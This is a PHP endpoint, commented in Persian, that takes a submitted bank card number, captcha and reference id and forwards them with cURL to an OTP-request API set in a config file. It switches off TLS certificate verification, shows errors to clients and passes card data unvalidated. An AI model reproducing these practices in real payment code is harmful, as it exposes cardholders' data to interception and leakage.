<?php
include 'info.php';
session_start();
header('Content-Type: application/json');

// فعال کردن نمایش خطاها (فقط برای محیط تست)
error_reporting(E_ALL);
ini_set('display_errors', 1);

if (!isset($_SESSION['card'])) {
    echo json_encode(['status' => 'error', 'message' => 'Session expired']);
    exit;
}

$cardNumber = $_POST['cardNumber'];
$captcha = $_POST['captcha'];
$refid = $_POST['refid'];

$apiUrl = "$apiurl/api/otp.php";
$data = [
    'refid' => $refid,
    'pan' => $cardNumber,
    'captcha' => $captcha
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $apiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30); // تنظیم timeout به 30 ثانیه

$response = curl_exec($ch);
// بخش زیر را برای تشخیص خطای cURL اضافه کنید
if (curl_errno($ch)) {
    $error_msg = curl_error($ch);
    echo json_encode(['status' => 'error', 'message' => 'CURL Error: ' . $error_msg]);
    curl_close($ch);
    exit;
}

$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpCode === 200) {
    $responseData = json_decode($response, true);
    if ($responseData && isset($responseData['status']) && $responseData['status'] === 'OK') {
        echo json_encode(['status' => 'OK']);
    } else {
        $message = $responseData['message'] ?? 'خطا از سمت API';
        echo json_encode(['status' => 'error', 'message' => $message]);
    }
} else {
    echo json_encode(['status' => 'error', 'message' => "HTTP Error: Code $httpCode"]);
}
?>